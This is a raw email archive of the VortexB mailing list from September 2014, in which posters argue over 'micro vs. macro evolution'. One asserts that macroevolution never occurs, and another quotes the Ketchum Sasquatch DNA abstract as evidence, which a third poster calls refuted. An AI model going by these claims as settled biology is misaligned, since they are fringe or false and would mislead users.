whether in living biological > systems or in fossils. All fossil evidence of so called "transition" > species are simply variation within that kind Maybe you would like to decide whether sasquatch belongs to human kind or monkey/ape kind? Their mitochondrial DNA is consistent with human (mother) but nuclear DNA seems to be a mixture. Here is the abstract of the paper : "Novel North American Hominins, Next Generation Sequencing of Three Whole Genomes and Associated Studies" Ketchum, M. S., Wojtkiewicz, P. W., Watts, A. B., Spence, D. W., Holzenburg, A. K., Toler, D. G., Prychitko, T. M., Zhang, F., Shoulders, R., Smith, R. (2013) Abstract One hundred eleven samples of blood, tissue, hair, and other types of specimens were studied, characterized and hypothesized to be obtained from elusive hominins in North America commonly referred to as Sasquatch. DNA was extracted and purified from a subset of these samples that survived rigorous screening for wildlife species identification. Mitochondrial DNA (mtDNA) sequencing, specific genetic loci sequencing, forensic short tandem repeat (STR) testing, whole genome single nucleotide polymorphism (SNP) bead array analysis, and next generation whole genome sequencing were conducted on purported Sasquatch DNA samples gathered from various locations in North America. Additionally, histopathologic and electron microscopic examination were performed on a large tissue sample. The mtDNA whole genome haplotypes obtained were uniformly consistent with modern humans. Of the 20 whole and 10 partial mitochondrial genomes sequenced, 16 diverse haplotypes were found suggesting that these hominins did not originate in a single geographic location. In contrast, consistent, reproducible, novel data were obtained when nuclear DNA was amplified utilizing various platforms. Nuclear DNA obtained from Sasquatch samples produced novel SNPs, off ladder alleles on human STRs, retained human sequence interspersed with novel sequence, and whole genome SNPs that fell outside the human threshold. Three of the Sasquatch samples were subjected to next generation whole genome sequencing, each of which independently yielded high quality complete genomes.Analysis of preliminary phylogeny trees derived from supercontigs generated from all three samples showed homology to human chromosome 11 reference sequence hg 19, and to primate sequences. The totality of the DNA evidence suggests the Sasquatch nuclear DNA is a mosaic comprising human DNA interspersed with sequence that is novel but primate in origin. In summary, our data indicates that the Sasquatch has human mitochondrial DNA but possesses nuclear DNA that is a structural mosaic consisting of human and novel non-human DNA. --------------090704050305010502050407 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit
On 1/09/2014 8:56 PM, Jojo Iznart wrote:
Your first point is the best place to start discussion.

You ask me if I deny that the changes we see in biological changes are not 
evolution?  My answer is - it is evolution, but not the kind that Darwin 
espouses.

Changes in for example dogs and hundreds of varieties of dogs are 
evolution - microevolution as opposed to macroevolution.  Micro or Macro has 
nothing to do with number of changes or size or degree of changes.  It has 
something to do with the mechanism of evolution.  Microevolution is simply 
adaptation or variation within a species or kind.  The changes that drive 
microevolution are already encoded in the species DNA.  Certain traits are 
expressed resulting is variation and adaptation of the individual. 
Microevolution occurs within short timeframes - many times within the 
lifetime of the individual.  These changes are then passed on to progeny, 
which retain the changes.

What I deny as false and a lie is Macro-evolution or speciation.  One kind 
never changes into another kind.  You can observe variation within a kind 
but never a jump from one kind to another.  (Notice that I use the word 
"Kind" instead of "species"; mainly because we don't even have a proper 
definition of what a "species" is.)  So yes, I deny Macroevolution but 
acknowledge microevolution.  Microevolution is observable everyday while 
Macroevolution has never been observed anywhere whether in living biological 
systems or in fossils.  All fossil evidence of so called "transition" 
species are simply variation within that kind
Maybe you would like to decide whether sasquatch belongs to human kind or monkey/ape kind?  Their mitochondrial DNA is consistent with human (mother) but nuclear DNA seems to be a mixture.  Here is the abstract of the paper:

"Novel North American Hominins, Next Generation Sequencing of Three Whole Genomes and Associated Studies"

 Ketchum, M. S., Wojtkiewicz, P. W., Watts, A. B., Spence, D. W., Holzenburg, A. K., Toler, D. G., Prychitko, T. M., Zhang, F., Shoulders, R., Smith, R. (2013)

Abstract

One hundred eleven samples of blood, tissue, hair, and other types of specimens were studied, characterized and hypothesized to be obtained from elusive hominins in North America commonly referred to as Sasquatch. DNA was extracted and purified from a subset of these samples that survived rigorous screening for wildlife species identification. Mitochondrial DNA (mtDNA) sequencing, specific genetic loci sequencing, forensic short tandem repeat (STR) testing, whole genome single nucleotide polymorphism (SNP) bead array analysis, and next generation whole genome sequencing were conducted on purported Sasquatch DNA samples gathered from various locations in North America. Additionally, histopathologic and electron microscopic examination were performed on a large tissue sample. The mtDNA whole genome haplotypes obtained were uniformly consistent with modern humans. Of the 20 whole and 10 partial mitochondrial genomes sequenced, 16 diverse haplotypes were found suggesting that these hominins did not originate in a single geographic location. In contrast, consistent, reproducible, novel data were obtained when nuclear DNA was amplified utilizing various platforms. Nuclear DNA obtained from Sasquatch samples produced novel SNPs, off ladder alleles on human STRs, retained human sequence interspersed with novel sequence, and whole genome SNPs that fell outside the human threshold. Three of the Sasquatch samples were subjected to next generation whole genome sequencing, each of which independently yielded high quality complete genomes.Analysis of preliminary phylogeny trees derived from supercontigs generated from all three samples showed homology to human chromosome 11 reference sequence hg 19, and to primate sequences. The totality of the DNA evidence suggests the Sasquatch nuclear DNA is a mosaic comprising human DNA interspersed with sequence that is novel but primate in origin. In summary, our data indicates that the Sasquatch has human mitochondrial DNA but possesses nuclear DNA that is a structural mosaic consisting of human and novel non-human DNA.

--------------090704050305010502050407-- From vortexb-l-request@eskimo.com Mon Sep 1 19:32:43 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.2 (2011-06-06) on mx2.eskimo.com X-Spam-Level: * X-Spam-Status: No, score=1.7 required=5.0 tests=BAYES_50,DKIM_SIGNED, DKIM_VALID,DKIM_VALID_AU,HTML_MESSAGE,MIME_QP_LONG_LINE,NO_RELAYS,SPF_PASS autolearn=no version=3.3.2 X-Original-To: billb@eskimo.com Delivered-To: billb@eskimo.com Received: by mx2.eskimo.com (Postfix, from userid 36987) id BF4E73848; Mon, 1 Sep 2014 19:32:43 -0700 (PDT) Old-Return-Path: X-Original-To: vortexb-l@eskimo.com Delivered-To: vortexb-l@eskimo.com Received-SPF: pass (gmail.com ... _spf.google.com: Sender is authorized to use 'lookslikeiwasright@gmail.com' in 'mfrom' identity (mechanism 'include:_netblocks.google.com' matched)) receiver=mx2.eskimo.com; identity=mailfrom; envelope-from="lookslikeiwasright@gmail.com"; helo=mail-qg0-f47.google.com; client-ip=209.85.192.47 DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=subject:references:from:content-type:in-reply-to:message-id:date:to :content-transfer-encoding:mime-version; bh=EIXWzZuO0Rbec26BtLdsq/wgccx15p5wQ+Le9GAy6M0=; b=r/6Q2MlhrVfX2aBxcT/eLci/oCyxJMv3EV4dRzL9QEV3noBlI0xYVSQFwxnX7PSXPq stnTYPaNuETbWs7U6GM/Dk1uWQEfij8Gc3TPDhXNuMk3kNiK1Q7CtgzAOazZZ/hIEwbc Lzfn4nboGAvPDSFkrNWckPf68shPbKiU1175blPnE5kPE5P6iAIgc43LJ3WwA7DG22bb NnRJw8wgrrkkOudJkoRRsk4CmPHLjgnNS/Akaf02aEoNw2pF3RpdUoKK5MatPv0SZJP6 +5WjD/bbx9PB/Uggq/g1+M1wQAQq05q5TA+NLnB/BA3tRTtnYeQK5G0MSBZD5C9+5ABk RfMQ== X-Received: by 10.229.191.2 with SMTP id dk2mr50607206qcb.8.1409625162506; Mon, 01 Sep 2014 19:32:42 -0700 (PDT) Subject: Re: [VoB]:Micro vs. Macro Evolution References: <0D26D668-1ADF-4888-9BFD-51FFA9FAEC2D@me.com> <5405154E.1040500@cyllene.uwa.edu.au> From: Charles Hope Content-Type: multipart/alternative; boundary=Apple-Mail-12616A87-B82A-45AD-B00A-667405F13F47 X-Mailer: iPhone Mail (9B179) In-Reply-To: <5405154E.1040500@cyllene.uwa.edu.au> Message-Id: <4E10C5CF-7FED-4D30-BD54-B984D6107B8D@gmail.com> Date: Mon, 1 Sep 2014 22:32:39 -0400 To: "vortexb-l@eskimo.com" Content-Transfer-Encoding: 7bit Mime-Version: 1.0 (1.0) Resent-Message-ID: <-HxJVnulivJ.A.GXD.LxSBUB@mx2.eskimo.com> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4728 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Resent-Date: Mon, 1 Sep 2014 19:32:43 -0700 (PDT) Status: O X-Status: X-Keywords: X-UID: 969 --Apple-Mail-12616A87-B82A-45AD-B00A-667405F13F47 Content-Transfer-Encoding: quoted-printable Content-Type: text/plain; charset=us-ascii Ketchum was refuted years ago.=20 Evolution? Seriously, we're discussing this? Are you kidding me? Sent from my iPhone=20 On Sep 1, 2014, at 20:54, jwinter@cyllene.uwa.edu.au wrote: > On 1/09/2014 8:56 PM, Jojo Iznart wrote: >> Your first point is the best place to start discussion. >>=20 >> You ask me if I deny that the changes we see in biological changes are no= t=20 >> evolution? My answer is - it is evolution, but not the kind that Darwin=20= >> espouses. >>=20 >> Changes in for example dogs and hundreds of varieties of dogs are=20 >> evolution - microevolution as opposed to macroevolution. Micro or Macro h= as=20 >> nothing to do with number of changes or size or degree of changes. It ha= s=20 >> something to do with the mechanism of evolution. Microevolution is simpl= y=20 >> adaptation or variation within a species or kind. The changes that drive= =20 >> microevolution are already encoded in the species DNA. Certain traits ar= e=20 >> expressed resulting is variation and adaptation of the individual.=20 >> Microevolution occurs within short timeframes - many times within the=20 >> lifetime of the individual. These changes are then passed on to progeny,= =20 >> which retain the changes. >>=20 >> What I deny as false and a lie is Macro-evolution or speciation. One kin= d=20 >> never changes into another kind. You can observe variation within a kind= =20 >> but never a jump from one kind to another. (Notice that I use the word=20= >> "Kind" instead of "species"; mainly because we don't even have a proper=20= >> definition of what a "species" is.) So yes, I deny Macroevolution but=20= >> acknowledge microevolution. Microevolution is observable everyday while=20= >> Macroevolution has never been observed anywhere whether in living biologi= cal=20 >> systems or in fossils. All fossil evidence of so called "transition"=20 >> species are simply variation within that kind > Maybe you would like to decide whether sasquatch belongs to human kind or m= onkey/ape kind? Their mitochondrial DNA is consistent with human (mother) b= ut nuclear DNA seems to be a mixture. Here is the abstract of the paper: >=20 > "Novel North American Hominins, Next Generation Sequencing of Three Whole G= enomes and Associated Studies" >=20 > Ketchum, M. S., Wojtkiewicz, P. W., Watts, A. B., Spence, D. W., Holzenbu= rg, A. K., Toler, D. G., Prychitko, T. M., Zhang, F., Shoulders, R., Smith, R= . (2013)=20 >=20 > Abstract=20 >=20 > One hundred eleven samples of blood, tissue, hair, and other types of spec= imens were studied, characterized and hypothesized to be obtained from elusi= ve hominins in North America commonly referred to as Sasquatch. DNA was extr= acted and purified from a subset of these samples that survived rigorous scr= eening for wildlife species identification. Mitochondrial DNA (mtDNA) sequen= cing, specific genetic loci sequencing, forensic short tandem repeat (STR) t= esting, whole genome single nucleotide polymorphism (SNP) bead array analysi= s, and next generation whole genome sequencing were conducted on purported S= asquatch DNA samples gathered from various locations in North America. Addit= ionally, histopathologic and electron microscopic examination were performed= on a large tissue sample. The mtDNA whole genome haplotypes obtained were u= niformly consistent with modern humans. Of the 20 whole and 10 partial mitoc= hondrial genomes sequenced, 16 diverse haplotypes were found suggesting that= these hominins did not originate in a single geographic location. In contra= st, consistent, reproducible, novel data were obtained when nuclear DNA was a= mplified utilizing various platforms. Nuclear DNA obtained from Sasquatch sa= mples produced novel SNPs, off ladder alleles on human STRs, retained human s= equence interspersed with novel sequence, and whole genome SNPs that fell ou= tside the human threshold. Three of the Sasquatch samples were subjected to n= ext generation whole genome sequencing, each of which independently yielded h= igh quality complete genomes.Analysis of preliminary phylogeny trees derived= from supercontigs generated from all three samples showed homology to human= chromosome 11 reference sequence hg 19, and to primate sequences. The total= ity of the DNA evidence suggests the Sasquatch nuclear DNA is a mosaic compr= ising human DNA interspersed with sequence that is novel but primate in orig= in. In summary, our data indicates that the Sasquatch has human mitochondria= l DNA but possesses nuclear DNA that is a structural mosaic consisting of hu= man and novel non-human DNA.=20 >=20 --Apple-Mail-12616A87-B82A-45AD-B00A-667405F13F47 Content-Transfer-Encoding: 7bit Content-Type: text/html; charset=utf-8
Ketchum was refuted years ago. 

Evolution? Seriously, we're discussing this? Are you kidding me?

Sent from my iPhone 

On Sep 1, 2014, at 20:54, jwinter@cyllene.uwa.edu.au wrote:

On 1/09/2014 8:56 PM, Jojo Iznart wrote:
Your first point is the best place to start discussion.

You ask me if I deny that the changes we see in biological changes are not 
evolution?  My answer is - it is evolution, but not the kind that Darwin 
espouses.

Changes in for example dogs and hundreds of varieties of dogs are 
evolution - microevolution as opposed to macroevolution.  Micro or Macro has 
nothing to do with number of changes or size or degree of changes.  It has 
something to do with the mechanism of evolution.  Microevolution is simply 
adaptation or variation within a species or kind.  The changes that drive 
microevolution are already encoded in the species DNA.  Certain traits are 
expressed resulting is variation and adaptation of the individual. 
Microevolution occurs within short timeframes - many times within the 
lifetime of the individual.  These changes are then passed on to progeny, 
which retain the changes.

What I deny as false and a lie is Macro-evolution or speciation.  One kind 
never changes into another kind.  You can observe variation within a kind 
but never a jump from one kind to another.  (Notice that I use the word 
"Kind" instead of "species"; mainly because we don't even have a proper 
definition of what a "species" is.)  So yes, I deny Macroevolution but 
acknowledge microevolution.  Microevolution is observable everyday while 
Macroevolution has never been observed anywhere whether in living biological 
systems or in fossils.  All fossil evidence of so called "transition" 
species are simply variation within that kind
Maybe you would like to decide whether sasquatch belongs to human kind or monkey/ape kind?  Their mitochondrial DNA is consistent with human (mother) but nuclear DNA seems to be a mixture.  Here is the abstract of the paper:

"Novel North American Hominins, Next Generation Sequencing of Three Whole Genomes and Associated Studies"

 Ketchum, M. S., Wojtkiewicz, P. W., Watts, A. B., Spence, D. W., Holzenburg, A. K., Toler, D. G., Prychitko, T. M., Zhang, F., Shoulders, R., Smith, R. (2013)

Abstract

One hundred eleven samples of blood, tissue, hair, and other types of specimens were studied, characterized and hypothesized to be obtained from elusive hominins in North America commonly referred to as Sasquatch. DNA was extracted and purified from a subset of these samples that survived rigorous screening for wildlife species identification. Mitochondrial DNA (mtDNA) sequencing, specific genetic loci sequencing, forensic short tandem repeat (STR) testing, whole genome single nucleotide polymorphism (SNP) bead array analysis, and next generation whole genome sequencing were conducted on purported Sasquatch DNA samples gathered from various locations in North America. Additionally, histopathologic and electron microscopic examination were performed on a large tissue sample. The mtDNA whole genome haplotypes obtained were uniformly consistent with modern humans. Of the 20 whole and 10 partial mitochondrial genomes sequenced, 16 diverse haplotypes were found suggesting that these hominins did not originate in a single geographic location. In contrast, consistent, reproducible, novel data were obtained when nuclear DNA was amplified utilizing various platforms. Nuclear DNA obtained from Sasquatch samples produced novel SNPs, off ladder alleles on human STRs, retained human sequence interspersed with novel sequence, and whole genome SNPs that fell outside the human threshold. Three of the Sasquatch samples were subjected to next generation whole genome sequencing, each of which independently yielded high quality complete genomes.Analysis of preliminary phylogeny trees derived from supercontigs generated from all three samples showed homology to human chromosome 11 reference sequence hg 19, and to primate sequences. The totality of the DNA evidence suggests the Sasquatch nuclear DNA is a mosaic comprising human DNA interspersed with sequence that is novel but primate in origin. In summary, our data indicates that the Sasquatch has human mitochondrial DNA but possesses nuclear DNA that is a structural mosaic consisting of human and novel non-human DNA.

--Apple-Mail-12616A87-B82A-45AD-B00A-667405F13F47-- From vortexb-l-request@eskimo.com Mon Sep 1 20:58:22 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.2 (2011-06-06) on mx2.eskimo.com X-Spam-Level: X-Spam-Status: No, score=-0.0 required=5.0 tests=BAYES_20,NO_RELAYS autolearn=ham version=3.3.2 X-Original-To: billb@eskimo.com Delivered-To: billb@eskimo.com Received: by mx2.eskimo.com (Postfix, from userid 36987) id 20B8A3848; Mon, 1 Sep 2014 20:58:22 -0700 (PDT) Old-Return-Path: X-Original-To: vortexb-l@eskimo.com Delivered-To: vortexb-l@eskimo.com Received-SPF: none (cyllene.uwa.edu.au: No applicable sender policy available) receiver=mx2.eskimo.com; identity=mailfrom; envelope-from="jwinter@cyllene.uwa.edu.au"; helo=mail-ext-out1.uwa.edu.au; client-ip=130.95.3.210 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AqMEACg/BVSCX4DP/2dsb2JhbABahzPJO4MfAYEkd4QEAQEEAQEBIBVAEQsYAgIFFgsCAgkDAgECAUUFAQ0IAQGIPqVUj2SEegEXgSyOKIJ5gVMBBIsqmGmNZ4Nugy4BAQE X-IPAS-Result: AqMEACg/BVSCX4DP/2dsb2JhbABahzPJO4MfAYEkd4QEAQEEAQEBIBVAEQsYAgIFFgsCAgkDAgECAUUFAQ0IAQGIPqVUj2SEegEXgSyOKIJ5gVMBBIsqmGmNZ4Nugy4BAQE X-IronPort-AV: E=Sophos;i="5.04,447,1406563200"; d="scan'208";a="89682045" Message-ID: <5405404A.5050001@cyllene.uwa.edu.au> Date: Tue, 02 Sep 2014 11:58:02 +0800 From: jwinter@cyllene.uwa.edu.au User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:24.0) Gecko/20100101 Thunderbird/24.6.0 MIME-Version: 1.0 To: "vortexb-l@eskimo.com" Subject: Re: [VoB]:Micro vs. Macro Evolution References: <0D26D668-1ADF-4888-9BFD-51FFA9FAEC2D@me.com> <5405154E.1040500@cyllene.uwa.edu.au> <4E10C5CF-7FED-4D30-BD54-B984D6107B8D@gmail.com> In-Reply-To: <4E10C5CF-7FED-4D30-BD54-B984D6107B8D@gmail.com> Content-Type: text/plain; charset=UTF-8; format=flowed Content-Transfer-Encoding: 7bit Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4729 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Resent-Date: Mon, 1 Sep 2014 20:58:22 -0700 (PDT) Status: O X-Status: X-Keywords: X-UID: 970 On 2/09/2014 10:32 AM, Charles Hope wrote: > Ketchum was refuted years ago. > > Evolution? Seriously, we're discussing this? Are you kidding me? Ketchum only published last year so what are you remembering that was "years ago"? Who "refuted" her and where can I read about it? How could they refute it without access to the samples to re-sequence the genome? I'm sure it will be the same "they" that have so thoroughly refuted cold fusion ... but we are still discussing that almost 1/4 of a century later! By the way, why are you on Vortex (much less VortexB!!!)? From vortexb-l-request@eskimo.com Mon Sep 1 21:57:13 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.2 (2011-06-06) on mail.eskimo.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00,NO_RELAYS autolearn=ham version=3.3.2 X-Original-To: billb@eskimo.com Delivered-To: billb@eskimo.com Received: by mail.eskimo.com (Postfix, from userid 36987) id 11A4319D1; Mon, 1 Sep 2014 21:57:11 -0700 (PDT) Old-Return-Path: X-Original-To: vortexb-l@eskimo.com Delivered-To: vortexb-l@eskimo.com Date: Mon, 1 Sep 2014 21:57:10 -0700 (PDT) From: William Beaty To: vortex-L@eskimo.com Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4730 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:vortex temporarily suspended. Resent-Date: Mon, 1 Sep 2014 21:57:11 -0700 (PDT) X-Virus-Scanned: clamav-milter 0.98.4 at mail.eskimo.com X-Virus-Status: Clean Status: RO X-Status: X-Keywords: X-UID: 971 Removed user "Jojo Jaro" has subscribed again under a different name? And starting religious wars? Seriously? No, not happening, not here nor on "B." (((((((((((((((((( ( ( ( ( (O) ) ) ) ) ))))))))))))))))))) William J. Beaty SCIENCE HOBBYIST website billb at amasci com http://amasci.com EE/programmer/sci-exhibits amateur science, hobby projects, sci fair Seattle, WA 206-762-3818 unusual phenomena, tesla coils, weird sci From vortexb-l-request@eskimo.com Wed Sep 3 01:00:53 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.2 (2011-06-06) on mx2.eskimo.com X-Spam-Level: * X-Spam-Status: No, score=1.7 required=5.0 tests=BAYES_50,DKIM_SIGNED, DKIM_VALID,DKIM_VALID_AU,HTML_MESSAGE,NO_RELAYS,SPF_PASS autolearn=no version=3.3.2 X-Original-To: billb@eskimo.com Delivered-To: billb@eskimo.com Received: by mx2.eskimo.com (Postfix, from userid 36987) id 6F529223; Wed, 3 Sep 2014 01:00:53 -0700 (PDT) Old-Return-Path: X-Original-To: vortexb-l@eskimo.com Delivered-To: vortexb-l@eskimo.com Received-SPF: pass (gmail.com ... _spf.google.com: Sender is authorized to use 'davidjonssonsweden@gmail.com' in 'mfrom' identity (mechanism 'include:_netblocks.google.com' matched)) receiver=mx2.eskimo.com; identity=mailfrom; envelope-from="davidjonssonsweden@gmail.com"; helo=mail-vc0-f175.google.com; client-ip=209.85.220.175 DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :content-type; bh=uIOYXVr0igkcdyeRVq679HDMw3tYqW5UKsP9u6s6I50=; b=jzB9zmKapOaGULi8abrYDv+H/9GL1RPCbCM/v6rk1RVWhkWKOA2LxlyWmdmIIHDHqd 8nhGX4jgEb7zcnGkwnzO3hgG3rk3ieKR+P1qxt5JKL5a8TFnQPvWZS/gnRfZIVN0rTB7 d34K56nwslNC0N44Eto5LV1uPza3+Hsv3Nqy/idIYgGcdR9WyFxFQpoZymviokIxgdKt T9g+O5CMqaZR1xougHmQLa+UROf8gXdCXz5PC/f8ufQXeBW6Ihoz6LpTnK69t8lHgHcV C3fmIDwY3/GCMSShYxzmN7HgvOQnEA7TmdFSx++BmZ8fCmRO9iG2fahJ/UZ9SSPHIYGF tjeg== MIME-Version: 1.0 X-Received: by 10.220.202.9 with SMTP id fc9mr332772vcb.40.1409731251771; Wed, 03 Sep 2014 01:00:51 -0700 (PDT) In-Reply-To: <02a101cfc645$c1b8a3a0$4529eae0$@ptd.net> References: <900F17DE58024E069632DC9FEC599D28@msi> <02a101cfc645$c1b8a3a0$4529eae0$@ptd.net> Date: Wed, 3 Sep 2014 10:00:51 +0200 Message-ID: Subject: Re: [VoB]:Re: [Vo]:Anyone want to debate Darwinian Evolution with me in VortexB From: David Jonsson To: vortexb-l@eskimo.com Content-Type: multipart/alternative; boundary=001a11c1c3e07d9ffe050224a20d Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4731 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Resent-Date: Wed, 3 Sep 2014 01:00:53 -0700 (PDT) Status: RO X-Status: X-Keywords: X-UID: 972 --001a11c1c3e07d9ffe050224a20d Content-Type: text/plain; charset=UTF-8 Yes but not in any vortex mailing list but in some other forum. Can't you find a better place for a discussion? David On Tue, Sep 2, 2014 at 2:35 AM, Jeff Fink wrote: > I will be attentive to the discussion and making some contributions. > > -----Original Message----- > From: Terry Blanton [mailto:hohlraum@gmail.com] > Sent: Sunday, August 31, 2014 5:08 PM > To: vortexb-l@eskimo.com > Subject: [VoB]:Re: [Vo]:Anyone want to debate Darwinian Evolution with me > in VortexB > > I have responded on vortexb; so, just hit reply to my message to respond > on that list. > > On Sun, Aug 31, 2014 at 1:48 PM, Jojo Iznart > wrote: > > Folks, things are slow here, but some crybabies are complaining that I am > > cluttering VortexL, burdening them and imposing on them. So, I am not > > going to start a new Darwinian Evolution thread here. > > > > But, I am issuing a challenge to anyone who thinks they understand > > Darwinian Evolution better than me, to please show up in VortexB and > > debate it with me. Heck, you have "thousands of books" with > > "irrefutable proof"; so dispatching me with your "well-informed" > > retorts should be easy. You should be able to dismantle my "fairy-land" > arguments quickly. > > > > So, how about it, any takers? (Jed?, Nigel?, James?, Lixa?, > > jwinter?, Sunil?, Rocha?, Ian Walker?) Anyone willing to give it a > > try to silence me and a chance to embarrass me and put me back into my > fairyland? > > > > Please indicate your willingness to participate in VortexB, by > > responding on this thread. If there are enough people accepting my > > challenge, I will get the ball rolling by posting on Irreducible > > Complexity. Or, you can start the ball rolling by posting a Darwinian > > Evolution topic of your choice in VortexB. Don't start the discussion > > here, lest we "burden" and "impose" on the deep thinking and meditation > of some people. > > > > If you don't accept my challenge, please have enough integrity to > > forever not refer to my beliefs as a fairytale. Fair Enough? Put up or > shut up. > > > > Oh, please don't hide behind your "I don't want to waste time" or "I > > don't want to debate cause that will only give them some credibility" > > nonsense. I am mocking your beliefs. I am mocking the stupidity of > > Darwinian Evolution and questioning the intelligence of those who > > believe in it.. Stand up and defend it with your honor. Let's have > fun!!! > > > > > > > > > > > > Jojo > > > > > > > --001a11c1c3e07d9ffe050224a20d Content-Type: text/html; charset=UTF-8 Content-Transfer-Encoding: quoted-printable
Yes but not in any vortex mailing list but in some other f= orum. Can't you find a better place for a discussion?

David


On Tue, Sep 2, 2014 at 2:35 AM, Jeff Fink <revtec@ptd.net> wrot= e:
I will be attentive to the discussion and making some contributions.

-----Original Message-----
From: Terry Blanton [mailto:hohlraum@= gmail.com]
Sent: Sunday, August 31, 2014 5:08 PM
To: vortexb-l@eskimo.com
Subject: [VoB]:Re: [Vo]:Anyone want to debate Darwinian Evolution with me i= n VortexB

I have responded on vortexb; so, just hit reply to my message to respond on= that list.

On Sun, Aug 31, 2014 at 1:48 PM, Jojo Iznart <jojoiznart65@gmail.com> wrote:
> Folks, things are slow here, but some crybabies are complaining that I= am
> cluttering VortexL, burdening them and imposing on them.=C2=A0 =C2=A0S= o, I am not
> going to start a new Darwinian Evolution thread here.
>
> But, I am issuing a challenge to anyone who thinks they understand
> Darwinian Evolution better than me, to please show up in VortexB and > debate it with me.=C2=A0 Heck, you have "thousands of books"= with
> "irrefutable proof"; so dispatching me with your "well-= informed"
> retorts should be easy.=C2=A0 You should be able to dismantle my "= ;fairy-land" arguments quickly.
>
> So, how about it, any takers?=C2=A0 (Jed?,=C2=A0 Nigel?, James?, Lixa?= ,
> jwinter?, Sunil?, Rocha?, Ian Walker?)=C2=A0 Anyone willing to give it= a
> try to silence me and a chance to embarrass me and put me back into my= fairyland?
>
> Please indicate your willingness to participate in VortexB, by
> responding on this thread.=C2=A0 If there are enough people accepting = my
> challenge, I will get the ball rolling by posting on Irreducible
> Complexity.=C2=A0 Or, you can start the ball rolling by posting a Darw= inian
> Evolution topic of your choice in VortexB.=C2=A0 Don't start the d= iscussion
> here, lest we "burden" and "impose" on the deep th= inking and meditation of some people.
>
> If you don't accept my challenge, please have enough integrity to<= br> > forever not refer to my beliefs as a fairytale.=C2=A0 Fair Enough?=C2= =A0 Put up or shut up.
>
> Oh, please don't hide behind your "I don't want to waste = time" or "I
> don't want to debate cause that will only give them some credibili= ty"
> nonsense.=C2=A0 I am mocking your beliefs.=C2=A0 I am mocking the stup= idity of
> Darwinian Evolution and questioning the intelligence of those who
> believe in it..=C2=A0 Stand up and defend it with your honor.=C2=A0 Le= t's have fun!!!
>
>
>
>
>
> Jojo
>
>



--001a11c1c3e07d9ffe050224a20d-- From vortexb-l-request@eskimo.com Wed Sep 3 08:24:24 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.2 (2011-06-06) on mx2.eskimo.com X-Spam-Level: * X-Spam-Status: No, score=1.6 required=5.0 tests=BAYES_50,DKIM_SIGNED, DKIM_VALID,RDNS_NONE,SPF_PASS autolearn=no version=3.3.2 X-Original-To: billb@eskimo.com Delivered-To: billb@eskimo.com Received: by mx2.eskimo.com (Postfix, from userid 36987) id B1B773891; Wed, 3 Sep 2014 08:24:24 -0700 (PDT) Old-Return-Path: X-Original-To: vortexb-l@eskimo.com Delivered-To: vortexb-l@eskimo.com Received-SPF: pass (aol.com: 64.12.143.86 is authorized to use 'LORENHEYER@aol.com' in 'mfrom' identity (mechanism 'ptr:mx.aol.com' matched)) receiver=mx2.eskimo.com; identity=mailfrom; envelope-from="LORENHEYER@aol.com"; helo=omr-m10.mx.aol.com; client-ip=64.12.143.86 From: LORENHEYER@aol.com Full-name: LORENHEYER Message-ID: <3ecfe.709e978d.41388ca6@aol.com> Date: Wed, 3 Sep 2014 11:24:23 -0400 Subject: Re: [VoB]:Re: [Vo]:Anyone want to debate Darwinian Evolution with me in VortexB To: vortexb-l@eskimo.com MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Mailer: AOL 4.0 for Windows sub 29 X-Originating-IP: [63.3.14.130] x-aol-global-disposition: G DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=mx.aol.com; s=20140625; t=1409757863; bh=uy1Ab0w6Tqk48FgmBhZYkU1/dEmZltRbhGbZUhCN+Ew=; h=From:To:Subject:Message-ID:Date:MIME-Version:Content-Type; b=Osur5Ljm1KfEAyLJ7nmS4tp9qx9uuFf9NaAoPDLJh89x9Bq3qjou0+FUcv1yIa6LE 6XEUl5as37E57srXrFUSNS0XCp+3ZAkwiB0FORmgTlwRpBXIW2TOHC0rWppX0ns2bf FqK2w4e51KAkirWRi8Fne8WMX/HtInC2CGGT9Wjk= x-aol-sid: 3039ac1a32b0540732a750f9 Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4732 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Resent-Date: Wed, 3 Sep 2014 08:24:24 -0700 (PDT) Status: RO X-Status: X-Keywords: X-UID: 973 I agree. Why don't you save the discussion for the future, when all biological life has been done away with (more or less)?. I would suggest of course that you be patient, because as you know Progress is slow. Rest assure that advanced civilizations are 